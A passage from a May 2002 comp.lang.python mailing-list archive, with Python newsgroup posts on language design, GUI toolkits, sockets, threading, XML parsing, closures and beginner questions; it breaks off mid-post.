no noisy parentheses nor > commas for the typical case. Of course, it DOES require the > "implicit currying" concept, so that e.g. f a may return a function > that then takes b and returns a function that ... -- delightful, > but perhaps not all that applicable unless the compiler has some > strong information about what callable takes what arguments:-). Yes, several functional languages have these delightful "operations on relations" kind of features, function composition, etc. I think Smalltalk's cascading messages are the closest OO analogue. > For a compiler lacking such knowledge, I opine that unformly > mandatory parentheses as "call-operator" is probably simplest > and thus preferable -- though I sympathize with the drive to > avoid "useless pixels on the screen"[...] I'll respect that opinion, though I respectfully disagree. :-) Personally, I like the Eiffel mechanism the best (read only attributes, no parens for empty method calls, selective export, etc.). Unfortunately, Eiffel is still lacking a "property set" equivalent (i.e. x.foo = bar), although it has been discussed for an upcoming version, and methods have only recently become "objectifiable". > One day I'd really love to co-author a *balanced* comparison > of Python's and Ruby's pluses and minuses -- "co-author" 'cause > I'd need to find a partner in crime who admires Python but > still prefers Ruby, just as I admire Ruby but still prefer > Python -- and one "into" Ruby's triviae and minutiae as well > as overall philosophy as much as I'm "into" Python's. Oh well, one day... I'd really like to see such a balanced comparison co-authored by someone as obviously knowledgeable as yourself. If you're truly interested, you'll find several very qualified Ruby enthusiasts, that also know enough Python for the job, on comp.lang.ruby. Thanks for the (typically) excellent post. -- Jason Voegele "We believe that we invent symbols. The truth is that they invent us." -- Gene Wolfe, The Shadow of the Torturer From mayer at acm.org Fri May 10 17:26:27 2002 From: mayer at acm.org (Robert George Mayer) Date: Fri, 10 May 2002 15:26:27 -0600 Subject: Which GUI Library to Use References: Message-ID: <3CDC3B03.1A58B599@acm.org> "A. Keyton Weissinger" wrote: > > Hi Folks, > > I am beginning work on what will likely turn into a fairly large GUI-based > application and would like your thoughts on which library to use: > > A) Tk Only > B) Tk with Python Mega-widgets or similar (i.e. Tk with some other stuff) > C) Qt (BlackAdder just announced the incorporation of Qt3 into BA) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > D) wxPython > > I want to get the best combination of easiest to install most feature rich > and do not have enough experience with the non-Tk libraries. > > Thank you!!!! > > Keyton Keyton - Would you please say where you heard about Qt3 in BlackAdder? The news on BlackAdder has been nonexistent for some time. - BOB From kwokng at earthlink.net Tue May 7 15:19:34 2002 From: kwokng at earthlink.net (Billy Ng) Date: Tue, 07 May 2002 19:19:34 GMT Subject: MySQL questions Message-ID: Sorry guys, I can't get any help from the mysql newsgroup. That's why I post it here. Question 1 I have a freq field that contains '"15:0" MINUTE_SECOND', why can't I do this? UPDATE table SET set next_update=DATE_ADD(NOW(), INTERVAL table.freq); Question2 How can I INSERT a record into the table if the table does not have any record with a provided id in the id field? Do I need to join a SELECT statement? Question3 Can I query from a query in MySQL? Thanks in advance! Billy Ng From phd at phd.pp.ru Wed May 22 09:52:54 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Wed, 22 May 2002 17:52:54 +0400 Subject: Magic Numbers In-Reply-To: ; from Greg.Lindstrom@acxiom.com on Wed, May 22, 2002 at 08:48:00AM -0500 References: Message-ID: <20020522175254.B15216@phd.pp.ru> On Wed, May 22, 2002 at 08:48:00AM -0500, Lindstrom Greg - glinds wrote: > I have recently switched from Python 2.2 to 2.1 (for CORBA reasons) on [skip] > ImportError: Bad magic number in C:\pyLib\Quitter.pyc Magic number is a way for a program to recognize its data files. Python uses magic numbers to recognize its byte-compiled files. Byte-compiled files differ between versions, so after upgrading (even more after downgrading) - delete and recreate all your *.pyc and *.pyo files. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From merkosh at hadiko.de Mon May 13 17:18:43 2002 From: merkosh at hadiko.de (Uwe Mayer) Date: Mon, 13 May 2002 23:18:43 +0200 Subject: beginner question: extending python types Message-ID: Hi, I am totally new to python and was about to start programming when more and more questions upon "how to do it actually" came up. My problem: I want do write classes which behave like algebraic structures, i.e. a group, a field or vector space and then want to work on them. To my first question: I know I can overwrite built-in operations like add with, f.e. __add__() methods, but can I add new f.e. postfix operators like "!" (facculty: n! = 1*2*3*4*...*n)?` My second question: I found Python lacking the type of a "set". i.e. an unordered list. I'd just wanted to use a normal list and pretend there was no order. Of course I want to iterate over them and in section 2.2.5 of the Python Library Reference they say that the method __iter__() must return an iterator object. I couldn't find a class called iterator in the Library and Language Reference... To my last question for now: I want to force certain parameters of methods to be of a specific type, so that when I expect a set I'll get a set or a sub-class thereoff. How to I controll that? Use the type() function and raise an IllegalType exception otherwise? Thanks for your help Yours Uwe From op73418 at mail.telepac.pt Wed May 8 20:42:12 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 09 May 2002 01:42:12 +0100 Subject: article: MS in Peruvian open-source nightmare References: <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> Message-ID: On Wed, 8 May 2002 19:20:34 +0200, holger krekel wrote: >Laura Creighton wrote: >> > a peruvian congressman answers to letter form MS. >> > >> > its an long, but interesting read in favor of open source (hi Oleg ;-). >> > i post this note here because GvR is metioned along with RMS, Linus and >> > others. >> > >> > here's the article from "The Register" (found on "/."): >> > http://www.theregister.co.uk/content/4/25157.html >> > >> > chris >> >> Thank you very much for posting this Chris. >> >> I don't have to write the 'why do I want a world in which the right to >> close source your program is greeted with the same sort of horror as the >> right to sell your children into slavery' article. The Peruvian >> legislator David Villanueva Nu?ez has done a better job than I could. >> >> I think that this is pretty straight forward, and written well, as one might >> expect from a famous Poet. But if anybody wants 'marginal aggregate value' >> and the like explained to them, post away and I will get to it. > >This letter is really an *astounding* work. I have never read anything >like this from a politician. 'Our democratic' politicians should >start to think about his statements such as: > > "It is also necessary to make it clear that the aim of the Bill we are > discussing is not directly related to the amount of direct savings that > can by made by using free software in state institutions. That is in any > case a marginal aggregate value, but in no way is it the chief focus of > the Bill. The basic principles which inspire the Bill are linked to the > basic guarantees of a state of law, such as: > > Free access to public information by the citizen. > Permanence of public data. > Security of the State and citizens." > >makes one want to move to peru. > >thanks you very much for posting this, > > holger > I can't resist to add that I completely agree with H. Krekel on this. It is surely one of the most impressive defenses + myth-debunkings I have ever read on the issue open-source vs proprietary software. Gon?alo Rodrigues From msoulier at nortelnetworks.com_.nospam Wed May 29 15:46:55 2002 From: msoulier at nortelnetworks.com_.nospam (Michael P. Soulier) Date: 29 May 2002 19:46:55 GMT Subject: Why no open(f, "w").write()? References: Message-ID: On 24 May 2002 07:53:38 GMT, Markus Demleitner wrote: > > The Jython docs state that > open("some.name", "w").write(stuff) > is bad programming practice (and indeed claim that in Jython, > the above construct leaves some.name empty). I can't speak for Jython, but in CPython 2.1, it works fine. >>> stuff = "stuff to write" >>> open('stufffile', "w").write(stuff) >>> open('stufffile', "r").read() 'stuff to write' Mike -- Michael P. Soulier, QX41, SKY Tel: 613-765-4699 (ESN: 39-54699) Optical Networks, Nortel Networks, SDE Pegasus "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From sholden at holdenweb.com Fri May 31 09:14:04 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 31 May 2002 09:14:04 -0400 Subject: Killing a socket server in DOS? References: Message-ID: "Magnus Lie Hetland" wrote ... > In article , Steve Holden wrote: > >"Magnus Lie Hetland" wrote ... > [snip] > > > >Here's a snippet using asyncore that seems to do what you want. Are you > >saying that you can't trap KeyboiardInterrupt? You'll have your own > >http_server() equivalent already, I'm guessing. > > > [snip] > > try: > > asyncore.loop(1.0) # Frequent checks for interrupt > > except KeyboardInterrupt: > > print "Completed" # on console > > logfile.close() > > I guess the use of a timeout was the problem... I simply used > asyncore.loop(). It worked in UNIX, but not in DOS (or Cygwin). So... > The low timout means that the Python loop surrounding select() will be > executed more often, thereby making it possible to interrupt it more > often? > Yeah, there are enough differences in socket implementation that there's a little roughness around the edges in porting network code between platforms. Having said that, and having used both Windows (95, 98, NT, 2K) and Unix (Linux, Solaris) I am amazed how easy it *is* to write portable code. The timeout defaults to 30 seconds, and very few people have the patience to wait that long after ^C. On Unix I'm *guessing* that the socket-related system calls are interruptible. On Windows I have hard evidence (in the shape of hung programs) that they aren't. > Now, it seems I have the same problem with another server too, but > that one is written using SocketServer (SimpleXMLRPCServer, actually). > Not sure how to achieve the same there. It seems I'm not able to > interrupt its serve_forever() in DOS/Cygwin there either -- although I > can easily interrupt it in UNIX (as with asyncore). > I don't know SinpleXMLRPCServer, but I've written about SocketServer (which meant I had to understamd it :-) > Any similar tricks I can use there, to force it to listen for > interrupts? > For some reason the SocketServer library module (and therefore its dependants) catches *all* errors in the handle_request() (?) method: if self.verify_request(request, client_address): try: self.process_request(request, client_address) except: self.handle_error(request, client_address) self.close_request(request) You will therefore have to either subclass it and override handle_request(), or rewrite the library. The handle_request() method isn't that long. Personally I have in tha past simply added a conditional to re-raise the exception if and only if it's a KeyboardInterrupt, and that worked. Note that SocketServer and buddies are intended more as demonstration code than as production-quality stuff. Asyncore is much more robust, though even that needed tweaks for Zope. regards -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From peter at engcorp.com Thu May 23 20:13:21 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 May 2002 20:13:21 -0400 Subject: multithreading References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> <20020523132158.3334e70b.logiplexsoftware@earthlink.net> Message-ID: <3CED85A1.4D92A691@engcorp.com> Skip Montanaro wrote: > > >> > Can anyone point me to a useful tutorial on multithreading? > > >> One advice: Avoid multithreading like the plague. > > Cliff> I think this is a bit of an overstatement. Many problems are > Cliff> best expressed as multithreaded programs. > > I agree. I have an xml-rpc server that was single-threaded for several > years. I always meant to multi-thread it, but I feared introducing > instability in the server. When I finally bit the bullet I discovered it > wasn't all that difficult. You have to exercise care to make sure all your > shared objects are protected by locks or are contained in Queue objects. > You may also have to internally cap the number of active threads. For > example, my xml-rpc server creates a thread to handle each connection. The > number of threads is proportional to the number of requests coming into the > websites it serves. The number of active threads is effectively capped by a > Queue object which contains a set of cached MySQLdb connection objects. Cool! Do you mean you prepare the Queue ahead of time with a fixed number of those objects, then any attempt to create a new thread blocks on the Queue until a previous thread has terminated and released its resource back into the Queue with a put(), presumably inside a 'finally' block? I think something like that would have simplified a little server we just wrote. Never thought of that approach before. -Peter From nospam at [127.0.0.1] Fri May 31 03:25:51 2002 From: nospam at [127.0.0.1] (Chris) Date: Fri, 31 May 2002 08:25:51 +0100 Subject: Spiral References: Message-ID: In article , Duncan Booth writes >Chris wrote in news:gXPDTYGWch98Ew1w@[127.0.0.1]: >> I've written a small QBASIC program which draws a spiral. Here is the >> code: >> SCREEN 12 >> CLS >> FOR t = 1 TO 400 STEP .01 >> x = .5 * t * COS(t) >> y = .5 * t * SIN(t) >> PSET (x + 320, y + 240) >> NEXT t >> I noticed that it generated some interesting patterns, probably as a >> result of rounding errors. These can be explored further by making the >> spiral tighter. >> Anyway, I wonder if anyone would be so kind as to convert it to Python >> because then I can try and decide whether Python is easy enough for me >> to learn! >How about: >>>> from turtle import * >>>> reset() >>>> tracer(0) >>>> for t1 in range(1, 40000): > t = t1/100. > x, y = .5 * t * sin(t/180.*pi), .5 * t * cos(t/180.*pi) > goto(x, y) > > >Notes: Python uses radians for cos and sin, so you have to convert your >degrees to radians. >Use 'tracer(1)' to see what is happening (but it is much slower). > >You get pretty much the same output with: >>>> from turtle import * >>>> reset() >>>> tracer(0) >>>> for t in range(1, 400): > x, y = .5 * t * sin(t/180.*pi), .5 * t * cos(t/180.*pi) > goto(x, y) Thanks - and thanks to others who replied, too. I'm totally new to Python and so I'll have to experiment a bit - but does your program work with the standard Python package or do I have to get some add-ons? (It's the "import" that made me wonder.) -- Chris From tew at wiencko.com Tue May 21 20:35:56 2002 From: tew at wiencko.com (Tom Wiencko) Date: Wed, 22 May 2002 00:35:56 +0000 Subject: PMW: HistoryText.py locks up occasionally Message-ID: <3CEAE7EC.6B8F25E8@wiencko.com> I am having some problems with the HistoryText widget in PMW. Sooner or later (usually after less than a dozen tries) it locks up when exiting. I do not even have to exercise the code, just load the demo, and press the "Exit" button (which implies that it is really an underlying tk/tcl bug I would assume). I am running this on a Windows 98SE machine, with python 2.1 and tk/tcl 8.3, PMW 0.8.5. I experience the problem running the DOS command line version of Python, when invoked from a Windows python interpreter it seems to work OK. Has anybody seen this problem and know what to do? Or can you give me some hints on how to diagnose it (I can reproduce it at will). Further investigation shows that the Windows module "Winoldap" appears to be getting stuck. Killing that process seems to unstick the DOS window. Ideas? Thanks in advance. Tom -- ------------------------------------------------------------------------ Tom Wiencko tew at wiencko.com President - Wiencko & Associates, Inc. (404) 255-2330 Telecom Consulting & Project Development -- Wireline, Wireless, Internet From fperez528 at yahoo.com Tue May 21 23:15:27 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 21 May 2002 21:15:27 -0600 Subject: How to know if a popen*() was successful? References: <3CEAE2F5.5030605@jerf.org> Message-ID: Jeremy Bowers wrote: >> Very good point. I'll probably rewrite my page() routine to simply jump out >> straight to the dumb default under windows, and in Unix to do some >> platform-specific tests which may work better (like using which to find the >> person's pager). > > Another possibility is using Tk or something to pop up your own pager, > since Windows effectively doesn't have one worth a toot. (Though you > might consider writing a temp file and calling up "notepad" or "wordpad" > on it, if that works for you.) It's a pretty simple invocation of a > scrolled text area, a couple of quick calls to fill it with text, and > make it read-only, and viola, a simple, effective pager. Thanks for the tips, I really appreciate it. But: - under unix, pagers (esp. less) work beautifully and fast, and can even display syntax highlighted code straight in. So I prefer a fast, efficient pager with builtin regexp searching over some tk solution which will require the user to use a mouse (I haven't seen anything in tk with the keyboard power of less for searching/navigation). Any command line tool which forces you to go to the mouse for basic functionality is IMHO broken. - this is done in my spare time, so I'll maintain windows as long as it remains a near zero-effort proposition. I'm not going to put any windows specific code beyond 'if I'm in windows, use builtin pure python defaults'. I simply can't test windows code much, I boot into it once in a blue moon. Cheers, f. From sholden at holdenweb.com Tue May 14 10:26:03 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 14 May 2002 10:26:03 -0400 Subject: serializing DOM object References: Message-ID: "Billy Ng" wrote in message news:ff7E8.123$Ec.17778 at newsread2.prod.itd.earthlink.net... > Hi folks, > > I want to use Java to save the DOM object to a blob field in mysql. Then, > using python to open it later. Is it possible? Someone told me as long as > I need to serialize the DOM object, it is doable. If anybody have this > experience, would you please share with me. > Look at the pickle, cpickle and marshal modules, each of which has merits in such applications. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From DeepBleu at DeepBleu.org Mon May 6 16:30:47 2002 From: DeepBleu at DeepBleu.org (DeepBleu) Date: Mon, 6 May 2002 15:30:47 -0500 Subject: Python vs. Perl, which is better to learn? References: <3CD60E05.D9D8C1A6@engcorp.com> Message-ID: "Chris" wrote in message news:chris-90CE30.01535006052002 at corp.supernews.com... > In article , > Christopher Browne wrote: > > > Outside of that, I'd suggest that a lot of the problem comes from Perl > > having been a "hot, in-language" attracting a lot of bad programmers. > > > > "If Ada became the hot, in-language you would see a lot more bad code > > in Ada." > > -- Thaddeus L. Olczyk , comp.lang.C++ > > > > Substitute Python for Ada and it still remains truth... > > Exactly. You can write bad code in any language. On the other hand, > you can write really good, robust, readable, maintainable code in Perl. > > Programming is about 99% concepts and 1% syntax, if that much even. A > poorly written Python program that can be easily read is still poorly > written. Give me a break! Of course you can write bad code in any language. And of course you can write good code in any language. You can even program an ancient abacus to solve a space time problem in Physics. But when it comes to the style itself and the readability and the look, nothing beats Python. I can not understand how anyone can even recommend Perl, a beat up clunky ugly language, for a project in a modern setting. DeepBleu From boud at valdyas.org Wed May 15 07:19:26 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Wed, 15 May 2002 13:19:26 +0200 Subject: Beginner question References: Message-ID: <3ce244e4$0$205$e4fe514c@dreader3.news.xs4all.nl> Luis Fernandes wrote: > Is Python a good language for large database applications? > > Yes. -- Boudewijn Rempt | http://www.valdyas.org From whisper at oz.net Mon May 27 18:46:49 2002 From: whisper at oz.net (David LeBlanc) Date: Mon, 27 May 2002 15:46:49 -0700 Subject: Problem building PySQLite under Windows In-Reply-To: Message-ID: "cl.exe" is the name for all Microsoft C/C++ compilers, whatever version you use. It's a Command Line front end for the same passes that Visual Studio uses. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Andrew MacIntyre > Sent: Monday, May 27, 2002 3:12 > To: Max > Cc: python-list at python.org > Subject: Re: Problem building PySQLite under Windows > > > On Sun, 26 May 2002, Max wrote: > > > I'm playing with PySQLite, but i can't build or install it. > > I use Python 2.2.1 on win32 (Windows XP Pro), and PySQLite 0.1.2. > > The error i receive is the following (i have no "cl.exe" > anywhere in my HD. > > Is this a "c" compiler, i suppose...?) > > {...} > > > cl.exe /c /nologo /Ox /MD /W3 /GX -Ic:\sqlite\include > -Ic:\python22\include > > Yes, this is a C compiler - I believe that this is the command line > Microsoft compiler which is effectively a free download (in the > absence of SKS providing the info, you'll need to google for more info > because I can't give you any details). > > At this stage of its life, PySQLite appears to be a source only > distribution (I've d/l the source myself, but have yet to play...). > > -- > Andrew I MacIntyre "These thoughts are mine alone..." > E-mail: andymac at bullseye.apana.org.au | Snail: PO Box 370 > andymac at pcug.org.au | Belconnen ACT 2616 > Web: http://www.andymac.org/ | Australia > > > > -- > http://mail.python.org/mailman/listinfo/python-list From jamespp35 at yahoo.com Wed May 1 13:39:25 2002 From: jamespp35 at yahoo.com (Jim Henry) Date: Wed, 1 May 2002 10:39:25 -0700 Subject: mod_python and form data Message-ID: I'm trying to access form data when using the Publisher handler. I know that fields can be passed in as parameters, but I do not always know which fields will be present. The documentation states: one must not attept to instantiate FieldStorage when using the Publisher handler and should use Request.form instead. But the documentation on Request DOES NOT MENTION any .form - what's a guy to do??? From syver-en+usenet at online.no Wed May 22 16:55:26 2002 From: syver-en+usenet at online.no (Syver Enstad) Date: Wed, 22 May 2002 20:55:26 GMT Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: jajvirta at cc.helsinki.fi (Jarno J Virtanen) writes: > Wed, 22 May 2002 13:13:06 -0500 Michael Bauers wrote: > > > > Why do you say x = []; x.append('a'), but get the length with len(a) > ? > > > > > Is there a reason for this sort of inconsistency? > > why not check the FAQ? > > http://www.python.org/cgi-bin/faqw.py?req=all#6.5 Yes, but the FAQ seems to be *very* old, it also says that in the distant future it may be possible to subclass built in types. I always have to back up in the editor when I am asking an object what length it has. Like this (I wanna know the length of object foo): foo. "Aw, It's not a method it's a function that calls a method with an unsightly name behind the scenes" back the cursor up and write len(foo) instead of foo.len() which would be much more intuitive. -- Vennlig hilsen Syver Enstad From martin at v.loewis.de Tue May 7 14:15:41 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 07 May 2002 20:15:41 +0200 Subject: XML (XHTML) character entities and PxXml References: Message-ID: andrew at acooke.org (andrew cooke) writes: > I'm processing XML (XHTML) in Python and have hit a major problem - > character entities appear to be silently dropped. That is very possible. Entity references (*) can only be processed appropriately if the DTD is somehow available, and is being processed. The standard parser (pyexpat) is non-validating, and won't read the DTD. You have the following options: - don't use entity references; use character references (&#num;) instead, or use utf-8 - include the entity definitions in the document itself, i.e. as internal entities. - use a validating parser, such as xmlproc - implement your own entity resolver, and try to integrate it into the parsing process. This can be done in several ways; one is: * implement an EntityResolver. Construct a SAX parser that uses this entity resolver. Use the SAX parser to build the DOM tree. HTH, Martin (*) There are no "character entities" in XML, only "(parsed) entities", "entity references", and "character references". From aleax at aleax.it Tue May 14 05:33:44 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 14 May 2002 09:33:44 GMT Subject: newbie - SOAP.py sockets and localhost? References: Message-ID: Duncan Grisby wrote: ... > For some reason I don't understand, most Python socket examples give > the socket connection tuple as ("localhost", port). That tells the > server to _only_ listen on the localhost interface, meaning remote > clients can't connect. The correct thing to do is to use an empty I think it's a good default to use in examples: by following the example, people who don't know what they're doing will not be opening an unsafe service on their machine to the world at large, even if they're not behind appropriate firewalls etc. > string like ("", port) since that causes it to listen on all network > interfaces. yes, but only do it once you DO understand the security implications of that and are satisfied that you're not running real risks (e.g., because your firewall is good and well configured). Alex From mgilfix at eecs.tufts.edu Tue May 7 19:38:06 2002 From: mgilfix at eecs.tufts.edu (Michael Gilfix) Date: Tue, 7 May 2002 19:38:06 -0400 Subject: Whats so good about Python? In-Reply-To: ; from marklists@mceahern.com on Tue, May 07, 2002 at 06:35:11PM -0500 References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: <20020507193805.B16168@eecs.tufts.edu> Better yet, why doesn't someone just write the Python vs. Perl FAQ? It'll be a good advertiser for the community and then we can avoid these threads by just pointing people at a URL. On Tue, May 07 @ 18:35, Mark McEahern wrote: > [BHE] > > My question is: What does Python offer me over Perl? > > Why not do a simple google search and peruse the archives? You'll find more > than enough content to whet your whistle and it will save us all the > joy^H^H^Htedium of reading yet another endless thread on Python vs. Perl. > > Cheers, > > // mark > > > > -- > http://mail.python.org/mailman/listinfo/python-list `-> (marklists) -- Michael Gilfix mgilfix at eecs.tufts.edu For my gpg public key: http://www.eecs.tufts.edu/~mgilfix/contact.html From tdelaney at avaya.com Wed May 8 23:28:53 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Thu, 9 May 2002 13:28:53 +1000 Subject: comparing lists Message-ID: > r = [(randrange(0, len(str)), randrange(0, len(str))) for > x in range(randrange(0, len(str)))] Ignore these horrible list comprehensions - they're bad. Normally I would have used a named function and map, but I was extending Lulu's code, and was lazy ... Tim Delaney From danielk at aracnet.com Tue May 28 08:50:17 2002 From: danielk at aracnet.com (Daniel Klein) Date: Tue, 28 May 2002 05:50:17 -0700 Subject: Programming Python 2E: question on smtplib example Message-ID: <6qu6fukqn6b08cp1ejclm9hu43q8b5a067@4ax.com> On page 612 of PP2E, the example has the following line of code... To = string.split(To, ';') # allow a list of recipients ,,,and then a few lines down... text = ('From: %s\nTo: %s\nDate: %s\nSubject: %s\n' % (From, string.join(To, ';'), date, Subj)) The question is: Why even do the split() and join() since all this seems to do is take the 'To' variable on a round trip? Daniel Klein From frr at easyjob.net Wed May 15 03:21:46 2002 From: frr at easyjob.net (Fernando Rodríguez) Date: Wed, 15 May 2002 09:21:46 +0200 Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> Message-ID: <0p24eu474pj5f8d2m5omakdegfa54j9a79@4ax.com> On 14 May 2002 16:03:25 -0700, spam at bugbear.com (Paul Graham) wrote: >I am not a Python expert, and I'm hoping someone >can tell me how in Python to write a function >of one argument x that returns a function of one >argument y that returns x+y. > >Here, in Scheme, is what I want to write: > >(define foo (x) (lambda (y) (+ x y))) > >I found on the web a page that says I could define >this as follows: > >def addn(x): > return lambda y,z=y: x+z Get a recent version of Python that includes 'nested scopes' a la Lisp, and try: >>> from __future__ import nested_scopes # Turn on nested scopes >>> def f(x): def g(y): return y +x return g >>> adder = f(3) >>> adder(4) 7 BTW, this is not exactly the same behavior you find in Lisp. For example: x = 0 #Global variable def f(): x = 3 # Doesnt create a dynamic binding, it creates a new local variable return x The 'x = 3' doesn't "setf", it "let"s I find this behavior disturbing, and I hope special variables in Arc will behave as in Common Lisp. Good luck with Arc! :-) ----------------------- Fernando Rodriguez From pearu at cens.ioc.ee Tue May 21 03:30:48 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Tue, 21 May 2002 10:30:48 +0300 (EEST) Subject: How do you code in Python ??? In-Reply-To: Message-ID: On 21 May 2002, Jochen K?pper wrote: > On Mon, 20 May 2002 20:47:34 +0300 (EEST) Pearu Peterson wrote: > > Pearu> No. Ctrl-G to stop the app. > > Pearu> klass is class <- in estonian, in german(?) > > Close: "Klasse" :)) > > ...But why do you need a 'k' here? I don't but "klass" seems to be a popular variable name among Python developers to hold class objects [grep klass /usr/lib/python2.2/*.py]. Now I wonder where this 'k' comes from... ;-) Pearu From aahz at pythoncraft.com Mon May 20 21:58:43 2002 From: aahz at pythoncraft.com (Aahz) Date: 20 May 2002 21:58:43 -0400 Subject: multithreading References: Message-ID: In article , David LeBlanc wrote: > >Lock, Semaphore and friends mentioned in the pythondoc (2.2.1) aren't >atomic? If not, then they're misnamed since atomicity is a required >property of such operations. What Peter meant is that Queue is the only single atomic operation for passing data between threads. Lock & Semaphore are atomic, but they aren't by themselves sufficient for passing data. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From jb at cascade-sys.com Thu May 2 00:23:09 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 01 May 2002 21:23:09 -0700 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: <3CD0BF2D.3F6FADA9@cascade-sys.com> Alex Martelli wrote: > Actually, _I_ wouldn't mind it if there was a way to discourage people > from starting Yet Another Round of language-change proposals or whines > and complaints against some aspect of the language they have not > carefully considered. It strikes me as somewhat arbitrary that "newbie" questions or comments about language features are so irritating while answering newbie questions over and over about how to split a text line into fields (or to measure performance) is not. IMHO, they both seem legitimate questions. For the record, I did not initiate any of these language extension topics. I only joined in after someone else put them into play. > But > I just hope I'll be in one of my time-management-necessitated > periods of abstinence from this group next time some newbie > arrogantly and querulously teaches us why Python should have > [a] explicit block delimiters, [b] join as a method of all the > possible sequences and not of joiner-objects, [c] hygienic > macros, [d] booleans -- oops forget I mentioned the latter, since > they're now BDFL-blessed cruf^H^H^H^H brilliant innovations...:-). A traditional solution for this would be for someone to write and maintain a FAQ for the list. By tradition, list FAQs can prominently feature a list of arbitrary topics that are strictly off limits. New members can be pointed to the FAQ and people who willfully disregard the FAQ can be dealt with. Otherwise, it's generally impossible for newcomers to know that a particular topic is taboo or has been previously beaten to death. A smart guy like probably should have been able to guess but I was initially misled by the unusually broad range of evidently legal topics on this list; the boundaries are entirely non obvious. People like myself are perfectly capable of following rules that are clearly posted and duly established, as opposed to individual complaints that for all we know are merely one person's opinion. Of course the FAQ itself would have to be vetted by the group, so it truly represents a consensus. A good FAQ is a non-trivial amount of work. Any volunteers? Finally, there's the issue of once taboo topics that become language features. If "bool" had been listed as a taboo topic perhaps the corresponding PEP would never have been written (for better or worse, depending on your viewpoint). But collisions such as this probably doesn't happen frequently enough to be a concern. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From shagshag13 at yahoo.fr Tue May 28 12:42:06 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Tue, 28 May 2002 18:42:06 +0200 Subject: Another stupid question... References: Message-ID: "6e6op" <6e6op at excite.it> a ?crit dans le message de news: ad088q$42s$1 at lacerta.tiscalinet.it... > you can do 2 things: > 1) look for the terminal specification you use and (if possible) turn to on > the arrows keys code, then type export TERM=vtXXX where XXX is the number of > your terminal codes (there is written in some options in your program) where can i find more info on this ? (i'm working with X-win32) > 2) change program, i use putty, it's free and pretty nice.. > (http://www.chiark.greenend.org.uk/~sgtatham/putty/) i've tried this but that doesn't change, maysbe there are some specials settings ??? regards, s13. From warlock at eskimo.com Mon May 13 03:06:25 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 13 May 2002 00:06:25 -0700 Subject: which db should I use? References: <3CDF3C5D.78B73EE0@engcorp.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 13 May 2002 00:09:01 -0400, Peter Hansen wrote: > Jim Richardson wrote: >> >> I have a project that I want to do with python. It involves a database > > It's unclear even after your description why you want to use a > relational database. Is it simply because that's part of the > learning experience you've set for yourself, or are there particular > performance requirements or a need for relational operations? > probably because I am a clewless newbie and don't know any other options :) What is available that isn't relational? >> table with some 100,000 rows, total size about 400MB and climbing. I >> will be adding about 700 rows a day, and occasionally want to do a >> query, but only occasionally. (I am putting all the posts from an active >> newsgroup in to a db for data gathering, > > Why not just store them as files in the file system? searches are really slow with grep, on an ext3 filesystem. I wouldn't mind a file based system, but will probably go with a db system in order to learn more about SQL > >> and to learn python and sql stuff) > > Well, okay, if it's just to learn SQL. But you might find better > types of data for that purpose. > > Just my thoughts on the matter... > > -Peter Well, probably better data out there, but this gets two birds with one stone. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE832Xwd90bcYOAWPYRAmJlAJ9XZxBpUQRq4lqWyzWIoPQX6zM9UwCfTVsa v6pRJRFCiIZB9J1DTbos2TA= =p+yY -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From whisper at oz.net Sun May 19 22:58:51 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 19 May 2002 19:58:51 -0700 Subject: Licensing question In-Reply-To: <3ce8614f_5@nopics.sjc> Message-ID: Of course you can sell your python application. People do it all the time. You can even sell Python itself subject to it's license provisions if you can get anyone to buy it. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Adonis > Sent: Sunday, May 19, 2002 19:20 > To: python-list at python.org > Subject: Licensing question > > > this might provoke a flame war, which i hope that it will not occur, and > hope that it can be responded in a more mature intellectual manner. my > question is can a program written in Python be sold? i have read > the python > license and could not find it too clear, or i just have misread > it. if not, > can the fact of the actual "service/time spent" used to produce > the program > be 